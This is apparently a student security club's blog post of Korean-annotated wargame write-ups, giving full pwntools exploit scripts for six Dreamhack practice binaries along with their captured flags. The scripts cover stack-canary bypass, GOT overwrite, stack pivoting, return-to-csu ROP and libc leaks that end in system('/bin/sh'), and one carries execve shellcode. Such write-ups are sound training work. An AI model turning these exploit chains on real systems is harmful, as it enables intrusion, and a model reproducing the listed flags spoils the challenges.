CyKor week7

soon_haari·2022년 7월 2일
0

cykor_seminar

목록 보기
4/6

ssp_000

exploit.py

from pwn import *
#64 bit!

p = remote("host1.dreamhack.games",13421)
e=ELF("./ssp_000")
libc=e.libc

stackchkfail_got = 0x601020
get_shell = 0x4008ea

p.sendline(b"a"*0x80)

p.sendline(str(stackchkfail_got).encode())

p.sendline(str(get_shell).encode())

p.interactive()

flag

DH{e4d253b82911565ad8dd9625fb491ab0}

canary 가 변경되었을 때 실행되는 __stack_chk_fail 함수 자리에 get_shell 함수를 넣어 간단히 해결할 수 있었다.




ssp_001

exploit.py

from pwn import *
#32 bit!

p = remote("host1.dreamhack.games", 12255)
e=ELF("./ssp_001")
libc=e.libc

#box: ebp-0x88
#name: ebp-0x48

get_shell = 0x80486b9

canary = b"0x"

p.sendline(b"P")
p.sendline(b"131")
p.recvuntil(b"is : ")
canary += p.recv(2)

p.sendline(b"P")
p.sendline(b"130")
p.recvuntil(b"is : ")
canary += p.recv(2)

p.sendline(b"P")
p.sendline(b"129")
p.recvuntil(b"is : ")
canary += p.recv(2)

p.sendline(b"P")
p.sendline(b"128")
p.recvuntil(b"is : ")
canary += p.recv(2)


p.sendline(b"E")
p.sendline(str(0x48+8).encode())

print(hex(int(canary, 16)))

payload = b"A"*0x40
payload += p32(int(canary, 16))
payload += b"BBBB"
payload += b"CCCC"
payload += p32(get_shell)
p.send(payload)

p.interactive()

flag

DH{00c609773822372daf2b7ef9adbdb824}

4바이트의 카나리를 읽어서 그를 포함한 payload를 작성해서 넣어주면 해결할 수 있다.




pivot_example

exploit.py

from pwn import *
#64 bit!

p = process("./pivot_example")
e = ELF("./pivot_example")

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

buf = int(p.recv(14), 16)


payload = b"\x90"*0x8
payload += p64(buf+24)
payload += b"\x90"*0x10
payload += shellcode
payload += b"\x90"*(0x100-len(payload))
payload += p64(buf)

p.send(payload)

p.interactive()

shell

쉘코드를 가짜스택에 넣어서 풀 수 있는 문제였다. stack pivoting의 원리를 이해하는 것이 목적인 문제였다.




pivot2

exploit.py

from pwn import *

p = process("./pivot2")
e = ELF("./pivot2")
libc = e.libc

#gadgets
rdir = 0x4006f3
r = 0x4006f4
r12r13r14r15r = 0x4006ec

#address
main = 0x400639
printf_plt = 0x4004e0
printf_got = 0x600fd8

#one_gadget
one_gadget_r15r12 = 0xe3afe

buf1 = int(p.recv(14), 16)

payload1 = b"A"*8
payload1 += p64(r)
payload1 += p64(rdir)
payload1 += p64(printf_got)
payload1 += p64(printf_plt)
payload1 += p64(r)
payload1 += p64(main)
payload1 += b"A"*(0x100-len(payload1))
payload1 += p64(buf1)[0:2]
p.send(payload1)

printf = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = printf - libc.symbols["printf"]
system = libc_base + libc.symbols["system"]
binsh = libc_base + 0x1b45bd
buf2 = int(p.recv(14), 16)

print("libc_base = "+hex(libc_base))
print(hex(buf1))
print(hex(buf2))
"""
payload2 = b"A"*8
payload2 += p64(r)
payload2 += p64(r12r13r14r15r)
payload2 += p64(0)*4
payload2 += p64(libc_base + one_gadget_r15r12)
payload2 += b"A"*(0x100-len(payload1))
payload2 += p64(buf2)[0:2]
p.send(payload2)

one_gadget not working
"""

payload2 = b"A"*8
payload2 += p64(r)
payload2 += p64(rdir)
payload2 += p64(binsh)
payload2 += p64(system)
payload2 += b"A"*(0x100-len(payload2))
payload2 += p64(buf2)[0:2]
p.send(payload2)

p.interactive()

shell

먼저 sfp의 뒤 두 바이트만 buf의 주소로 변경해도 stack pivoting이 가능하다는 것을 알 수 있다.
pivoting의 원리에 따라 ROP를 8칸 띄고 ret 가젯을 넣어주는 방식을 사용하면 풀 수 있는 문제였다. one_gadget은 실행되지 않았고, system(binsh)의 방법을 통해서 셸을 획득할 수 있었다.




csu_example

exploit.py

from pwn import *

p = process("./csu_example")
e = ELF("./csu_example")
libc = e.libc


read_plt = 0x4004f0
write_plt = 0x4004e0
read_got = 0x600fe0
write_got = 0x600fd8

bss = 0x601010

csu1 = 0x4006c0
"""
mov rdx, r15
mov rsi, r14
mov edi, r13d
call qword ptr r12+rbx*8
add rbx, 1
cmp rbp, rbx
jnz (if rbp=rbx, continue, else loop)
"""

csu2 = 0x4006d6
"""
add rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
"""

#write(1, write_got, 8)

payload = b"A"*0x108
payload += p64(csu2)

#rsp+=8
payload += b"B"*8

#pop rbx
payload += p64(0)
#pop rbp
payload += p64(1)
#pop r12
payload += p64(write_got)
#pop r13
payload += p64(1)
#pop r14
payload += p64(write_got)
#pop r15
payload += p64(8)
payload += p64(csu1)


#read(0, bss, 0x150)
payload += b"B"*8
#pop rbx
payload += p64(0)
#pop rbp
payload += p64(1)
#pop r12
payload += p64(read_got)
#pop r13
payload += p64(0)
#pop r14
payload += p64(bss + 0x300)
#pop r15
payload += p64(0x150)
payload += p64(0x4005f7)

p.send(payload)

p.recvuntil(b"hello\n")
write = u64(p.recv(8))

libc_base = write - libc.symbols["write"]
print(hex(libc_base))

system = libc.symbols["system"] + libc_base

payload = b"C"*0x108
payload += p64(0x4006e3)
payload += p64(libc_base + 0x1b45bd)
payload += p64(system)

p.send(payload)

p.interactive()

shell

풀이 2가지 중 두 번째 방법인 main에 다시 돌아가서 실행하는 방법으로 example을 해결하였다. 기드라가 c코드를 자동으로 만드는 것도 신기하고 블록들을 연결시키는 것도 신기하다.




rop_master

exploit.py

from pwn import *

p = process("./rop_master")
e = ELF("./rop_master")
libc = e.libc


read_plt = 0x400440
write_plt = 0x400430
read_got = 0x601020
write_got = 0x601018

main = 0x400537

name = 0x601060

bss = 0x601040

leave_ret = 0x4005a2
ret = 0x400416
rdir = 0x400613

csu1 = 0x4005f0
"""
mov rdx, r15
mov rsi, r14
mov edi, r13d
call qword ptr r12+rbx*8
add rbx, 1
cmp rbp, rbx
jnz (if rbp=rbx, continue, else loop)
"""

csu2 = 0x400606
"""
add rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
"""
payload = b"A"*8
payload += p64(ret)
payload += p64(csu2)

payload += b"B"*8
#pop rbx
payload += p64(0)
#pop rbp
payload += p64(1)
#pop r12
payload += p64(write_got)
#pop r13
payload += p64(1)
#pop r14
payload += p64(write_got)
#pop r15
payload += p64(8)
payload += p64(csu1)

payload += b"B"*8
#pop rbx
payload += p64(0)
#pop rbp
payload += p64(1)
#pop r12
payload += p64(read_got)
#pop r13
payload += p64(0)
#pop r14
payload += p64(bss+0x300)
#pop r15
payload += p64(0x150)
payload += p64(csu1)

payload += b"A"*16
payload += p64(bss+0x300)
payload += b"A"*32
payload += p64(leave_ret)




p.send(payload)

payload = b"A"*0x100
payload += p64(name)
payload += p64(leave_ret)

p.send(payload)

p.recvuntil(b"it?\n")
write = u64(p.recv(8))
libc_base = write - libc.symbols["write"]
print(hex(libc_base))
system = libc_base + libc.symbols["system"]
binsh = libc_base + 0x1b45bd

payload = b"A"*8
payload += p64(rdir)
payload += p64(ret)
payload += p64(binsh)
payload += p64(system)
payload += b"A"*(0x150 - len(payload))

p.send(payload)

p.interactive()

shell

buf에 name을 가짜 스택으로 지정해주고, ret에 leave_ret가젯을 넣어주어 기본적으로 stack pivoting을 진행시킬 수 있었다. csu1, csu2를 통해 주어진 함수인 write, read를 통해 csu_example과 같은 방식으로 libc_base를 찾을 수 있었다. bss에서 system(binsh) ROP를 통해 문제를 풀 수 있었다.

profile
I'm such a good surfer

0개의 댓글